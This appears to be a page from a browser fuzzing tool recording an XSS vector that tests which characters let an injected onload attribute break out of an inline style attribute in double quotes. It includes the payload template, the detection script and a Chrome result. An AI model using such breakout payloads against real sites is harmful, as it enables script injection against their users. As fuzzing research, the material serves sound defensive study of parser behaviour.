Characters that can break out of an inline style with double quotes

Chrome logo 1

Characters that can break out of an inline style with double quotes

Created by: 0xdef1ant

Created on: Saturday, July 13, 2024 at 7:33:48 PM

Updated on: Thursday, November 21, 2024 at 7:58:36 AM

Vector type: XSS

Vector charset: UTF-8

Template used:
<div id="test" style="$[chr]onload="alert(1)">hello</div>
Code used after fuzz:
let a = document.getElementById("test");
if (typeof a.onload === 'function') {
log(String.fromCharCode($[i]))
  }
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<div id="test" style="onload="alert(1)">hello</div>

Fuzz results

Chrome logo
Chrome 124.0.0.0 desktop macOS 10.15.7

Updated

Sat Jul 13 2024
Found 1 result
Loading...